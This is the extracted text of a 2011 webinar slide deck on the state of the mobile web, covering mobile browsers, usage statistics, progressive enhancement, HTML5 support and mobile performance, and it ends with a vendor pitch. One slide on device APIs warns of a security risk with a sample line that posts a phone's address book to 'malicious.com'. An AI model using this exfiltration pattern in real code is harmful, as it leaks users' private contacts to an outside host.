State of the mobile web
Peter-Paul Kochhttp://quirksmode.orghttp://twitter.com/ppk
Compuware Webinar , 24 March 2011
Mobile First!• Design your sites for mobile first.
• You’ll be forced to decide what is so important that it MUST be shown in the important that it MUST be shown in the mobile device’s tiny display.
• The things you leave out of the mobile version don’t really need to be in the desktop version, either.
• Safari iPhone
• Android WebKit
• Dolfin for bada
• BlackBerry WebKit
•
• Obigo WebKit
• Ovi
• Bolt
• BlackBerry old
•
The mobile browsers
• Opera Mobile
• Opera Mini
• MicroB
• Nokia WebKit
• Firefox
• Phantom
• Obigo old
• NetFront
• IE
• UCWeb
You may groan now.
• Safari iPhone
• Android WebKit
• Dolfin for bada
• BlackBerry WebKit
•
• Obigo WebKit
• Ovi
• Bolt
• BlackBerry old
•
The mobile browsers
• Opera Mobile
• Opera Mini
• MicroB
• Nokia WebKit
• Firefox
• Phantom
• Obigo old
• NetFront
• IE
• UCWeb
WebKit-based
WebKit on MobileThere is no WebKit on mobile!
There's iPhone Safari (2 and 3), and Android (1.0 and 1.5) and S60 WebKit (v3 and v5) and Blackberry WebKit,and Palm WebKit,and Bolt, Ozone, Teashark, and a few more
These WebKits are all different.
Exhibit A: WebKit comparison tablehttp://quirksmode.org/webkit.html
• Safari iPhone
• Android WebKit
• Dolfin for bada
• BlackBerry WebKit
•
• Obigo WebKit
• Ovi
• Bolt
• BlackBerry old
•
The mobile browsers
• Opera Mobile
• Opera Mini
• MicroB
• Nokia WebKit
• Firefox
• Phantom
• Obigo old
• NetFront
• IE
• UCWeb
• Safari iPhone
• Android WebKit
• Dolfin for bada
• BlackBerry WebKit
•
• Obigo WebKit
• Ovi
• Bolt
• BlackBerry old
•
The mobile browsers
• Opera Mobile
• Opera Mini
• MicroB
• Nokia WebKit
• Firefox
• Phantom
• Obigo old
• NetFront
• IE
• UCWeb
Proxy browsers
Proxy browsers• Page is downloaded to and rendered
on a specialised server.
• A highly compressed image is sent to • A highly compressed image is sent to the client.
• Advantage: cheap, both in device and in network costs
• Disadvantage: no client-side interactivity
Global stats Q4 2010(by StatCounter)
Safari 23% iOS Stable
Opera 22% Many OSs Stable
BlackBerry 18% BlackBerry Down
Nokia 16% Symbian (and S40) StableNokia 16% Symbian (and S40) Stable
Android 12% Android Up
NetFront 4% Sony Ericsson & Samsung Stable
Samsung 1% bada Up
UCWeb 1% Many OSs Down
Others 3%
Browser stats• Those are GLOBAL stats; they are not
necessarily correct for the sites you’re working on. Always check your stats.
•• Social media referrals cause disproportionate iPhone visits; and Android to a lesser degree.
Stats(global, Q4 2010)
But usually this is what happens
Rest? What rest?
Which mobile browsers?
• Safari iPhone
• Opera Mini
• Android WebKit• Android WebKit
• US: BlackBerry (WebKit and older)
• Europe: Nokia WebKit
• Dolfin for bada (easy)
• Opera Mobile (easy)
Progressive enhancement
How do you deal with this immense amount of browsers?
Use advanced tricks, but make sure Use advanced tricks, but make sure your site remains usable without them.
The site is enhanced as much as the browser allows.
Progressive enhancement
HTML
All browsers support HTML. That’s the definition of a browser.
Basic CSS
Progressive enhancement
HTML
Basic CSS
All browsers support most basic CSS. There will be bugs, but only few.
Basic CSS
Advanced CSS
Progressive enhancement
HTML
Basic CSS
Advanced CSS is restricted to advanced browsers. Make sure it contains nothing vital; just nice extras.
Basic CSS
Advanced CSS
Basic JavaScript
Progressive enhancement
HTML
Basic CSS Basic JavaScript
All browsers support basic JavaScript, but they can be slow. Maybe switch off in BB5 and lower.
Basic CSS
Advanced CSS
Basic JavaScript
Advanced JavaScript
Progressive enhancement
HTML
Basic CSS Basic JavaScript
Advanced JavaScript is a problem. Feature detection is your friend. Make sure it contains nothing vital.
CSS animations? Use them.If they don’t work, nothing is lost.
Offline storage? Use it.
Progressive enhancement
Offline storage? Use it.If it doesn’t work, the user reloads the site every time. Not perfect, but it works.
PerformanceHow long does it take to generate 250 lists with 20 items each?
The following graphs give the number of The following graphs give the number of seconds it took the browsers.
http://quirksmode.org/m/tests/DOMspeed.html
Performance
Performance
HTML5• Which browsers support HTML5?
• What is HTML5, anyway?
• Ask five web developers and they’ll • Ask five web developers and they’ll give you five different answers.
HTML5• Offline storage
• Video and audio
• Canvas
• New input types• New input types
• Websockets
• New semantics
• SVG
• File API
• etc. etc. etc.
• Safari iPhone
• Android WebKit
• Dolfin for bada
• BlackBerry WebKit
•
• Obigo WebKit
• Ovi
• Bolt
• BlackBerry old
•
Offline storage
• Opera Mobile
• Opera Mini
• MicroB
• Nokia WebKit
• Firefox
• Phantom
• Obigo old
• NetFront
• IE
• UCWeb
• Safari iPhone
• Android WebKit
• Dolfin for bada
• BlackBerry WebKit
•
• Obigo WebKit
• Ovi
• Bolt
• BlackBerry old
•
SVG
• Opera Mobile
• Opera Mini
• MicroB
• Nokia WebKit
• Firefox
• Phantom
• Obigo old
• NetFront
• IE
• UCWeb
• Safari iPhone
• Android WebKit
• Dolfin for bada
• BlackBerry WebKit
•
• Obigo WebKit
• Ovi
• Bolt
• BlackBerry old
•
New input types
• Opera Mobile
• Opera Mini
• MicroB
• Nokia WebKit
• Firefox
• Phantom
• Obigo old
• NetFront
• IE
• UCWeb
HTML5• Which browsers support HTML5?
• It depends.
• HTML5 is mainly a marketing buzzword.buzzword.
• That’s not bad; we need it.
• But it has no technical meaning.
HTML5 apps• One core app written in HTML,
CSS, and JavaScript.
• Deployed to several mobile platforms.platforms.
• Ideally, CSS and JavaScript are stored on the device.
• If it can't be deployed it's still a website.
Symbian Windows Mobile
I’ve done it. In April 2009.
Device APIs• Native apps offer device APIs.
• They allow you to access the camera, accelerometer, SMS, file system, etc.accelerometer, SMS, file system, etc.
• Web apps will have to offer them, too.
device.phone.call(device.addressBook['mom'])
Device APIs
There’s a serious security problem here.
var ab = device.addressBook.toString();sendRequest(POST,'malicious.com',ab);
Providing trusted apps might remain an app store function.
Summary• Mobile First! Design for mobile, and
your desktop site will become better, too.
• Use progressive enhancement. Lots of it. It will keep you sane.
• Know which browsers to develop for.
Which mobile browsers?
• Safari iPhone
• Opera Mini
• Android WebKit• Android WebKit
• US: BlackBerry (WebKit and older)
• Europe: Nokia WebKit
• Dolfin for bada (easy)
• Opera Mobile (easy)
Thank you
•• Peter-Paul Koch
• http://quirksmode.org
• http://twitter.com/ppk
• Compuware Webinar , 24 March 2011
Steve Tack
CTO APM Solutions
Compuware
Best Practices For Delivering Quality Web Experiences In A Mobile, Multi-Browser World
Users Access The Web On A Variety Of Browsers And Devices
Mobile Devices & Browsers Ever More Important
• Morgan Stanley predicts global mobile users will outnumber
desktop internet users within 3 years
1600
1800
2000
Inte
rne
t U
sers
(M
M)
Desktop Users
Mobile Users
Global Mobile vs. Desktop Internet User Projection, 2007 - 2015
Source: Mary Meeker, Morgan Stanley
0
200
400
600
800
1000
1200
1400
2007 2008 2009 2010 2011 2012 2013 2014 2015
Inte
rne
t U
sers
(M
M)
Source: Mary Meeker, Morgan Stanley
Typical Evolution Of A Company’s Mobile Strategy
• Denial – Don’t do anything
– “Mobile Phone Users? Do we have any?”
– “Just have them go to our regular website”
• (Reluctant) Acceptance – Create a minimal mobile website
– “Let’s create a simple version of our website that works across all devices”
– Lowest common denominator approach
• Panic – Get an app store presence as quickly as possible
– “We have to have a native app. Everyone else is doing it”
Limitation
– “We have to have a native app. Everyone else is doing it”
– Create a thin native wrapper around the browser object. Low effort.
Questionable value.
• Contemplation – Fix the native app
– “Wow! These phones can do that?”
– Iteratively replace browser object with native calls, add device-specific
capabilities
• Maturity – Optimize the mobile website
– “Wow! I can do that in a browser? Really?”
– Use the mobile-specific browser capabilities to enhance mobile website
Opportunity
Q
M
F
e
a
t
u
r
e
p
h
o
n
e
Smartphone Owners By Far Most Active Users Of Mobile Web
0% 10% 20% 30% 40% 50% 60% 70% 80% 90%
S
m
a
r
t
p
h
o
n
e
M
D
Daily Weekly Monthly
Source: Forrester Research North American Technographics® Benchmark Surveys, Q2 2010
Different Browsers And Devices Have Different Capabilities
• In turn different browsers offer different experiences - even
amongst high-end, touch screen smartphones
Smartphones Have Redefined Mobile End-Users’ Experience Expectations
• By end of 2011 Nielsen
expects more smartphones
in U.S. than feature phones
• As of November 2010
– 31% of U.S. mobile
subscribers own
smartphonessmartphones
– 45% of recent acquirers chose a smartphone over a feature phone
• Mobile end-users expect
rich, engaging mobile web
experiences
End-Users’ Mobile Experience Expectations Are Increasing
End-Users’ Mobile Experience Expectations Are Often Not Met
• Mobile website performance impacts
business results
– 52% of users are unlikely to return to a site
they had trouble accessing on their phone
• 40% said they’d likely visit a competitor’s website
instead
Social media allows
users to voice & record
their frustration in
real-time, negatively
impacting revenue and
brand equity
Poor Mobile Website Performance Hurts Business
20
25
30
Ab
an
do
nm
en
t R
ate
(%
)
Abandonment Rate
- All Browsers
Abandonment Rate
- iPhone Safari
Abandonment Rate Across 200+ Web Sites / 177+ Million Page
0
5
10
15
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
Ab
an
do
nm
en
t R
ate
(%
)
Page Load Time (sec.)
Source: Gomez real user monitoring
Slower pages = higher abandonment• Reduces revenue
• Increases costs
• Damages brand
Slower pages = higher abandonment• Reduces revenue
• Increases costs
• Damages brand
Cloud
Private Public
Data Center
Virtual/Physical Environment
LocalISP
3rd Party/Cloud Services
Browsers Customers
The Application Delivery Chain
Delivering Quality Mobile Web Experiences Is Difficult - Solution: Adopt Your End-Users' POV
• Inconsistent geo performance• Bad performance under load• Blocking content delivery • Poorly
performing
• Resource contention
• Capacity issues• Slow bursting
Employees
Mainframe
Storage
Web Services
Mobile Components
Web Servers
App Servers
DB Servers
Load Balancers
WANOptimization
Network
Mobile Carrier
Content Delivery Networks
Devices
MajorISP
Employees
• Network peering problems
• Outages
• Blocking content delivery
• Configuration issues• Oversubscribed POP• Poor routing optimization• Low cache hit rate
• Network peering problems
• Bandwidth throttling
• Inconsistent connectivity
• Poorly performing JavaScript
• Browser/ device incompatibility
• Pages too big• Low cache
hit rate
• Network resource shortage • Faulty content transcoding • SMS routing / latency issues
• Poorly performing Java or .NET methods
• Slow SQL or Web services transactions
• Server performance
• Network problems
• Bandwidth contention
• Improper load balancing
Customer/user point of view
Know Your End-Users
• Can mobile end-users complete key transactions?– While on the move– Often one-handed– With intermittent network/GPS connections
• What devices and browsers do they use?
What networks are they on?• What networks are they on?
• What are their usage patterns?
• What is their geographic location?
• What is their context?
• What are their objectives?
Browsers Are Evolving
• HTML5 support
– Application cache, canvas,
audio, video, local storage,
geo-location, etc.
• CSS3 support
–Web fonts, animations,
gradients, shadows, etc.gradients, shadows, etc.
• Performance improvements
– Faster JavaScript processing
– Parallel download of JS scripts
– More parallel connections
– Resource pre-fetching
– Multi-threading in JS
Leverage Browser Capabilities To Improve Perceived Performance
• Fewer steps to complete an end-user goal equals better
perceived performance from an end-users’ perspective
Ensure Mobile Web Applications Function As Intended Across All The Devices Your Customers Use
iOS 4.1 – iPhone 3GSBlackBerry OS 5 – Storm 2Android 2.2 – Nexus One
Embrace A “One Web” Application Performance Management Approach
• Mobile websites and applications often share backend infrastructure and
services with existing web apps
• Important to leverage established and common best practices, metrics
and technologies for both mobile and web channels
– Garner operational efficiencies
– Identify mobile specific problems, web specific problems or both across the
entire application delivery chain - from device to datacenteriPad & Safari
entire application delivery chain - from device to datacenteriPad & Safari
Windows 7 & ChromeiPhone AppiPhone & Safari
How To Deliver Quality Web Experiences In A Mobile, Multi-Browser World
• Adopt your end-users' point of view
• Know your end-users
• Tailor your mobile experience to meet your end-
users' objectives
• Leverage browser capabilities to improve perceived • Leverage browser capabilities to improve perceived
performance
• Ensure mobile web applications function as
intended across all the devices your customers use
• Embrace a “One Web” application performance
management approach
Questions?
• Increased revenue 25%
• Reduced revenue loss by 92% and $737,251 annually
• Reduced home page load time from 11.3 seconds to 3.4 seconds
Compuware Customers Enjoy Measurable Benefits
to 3.4 seconds
• Saved 50%+ in staff and fees
• Reduced downtime 45%
• Improved first-hour problem resolution rate to 80%
• Improved annual troubleshooting efficiency by 97%, saving $784,000
• Reduced SAP license costs by $475,000 per year
For more information visit Gomez.com or contact us at +1 781.778.2700
Top Related